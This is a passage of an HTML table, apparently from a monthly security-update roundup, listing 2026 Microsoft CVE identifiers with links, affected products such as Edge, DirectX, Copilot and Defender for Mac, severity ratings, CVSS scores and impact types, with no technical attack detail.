  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
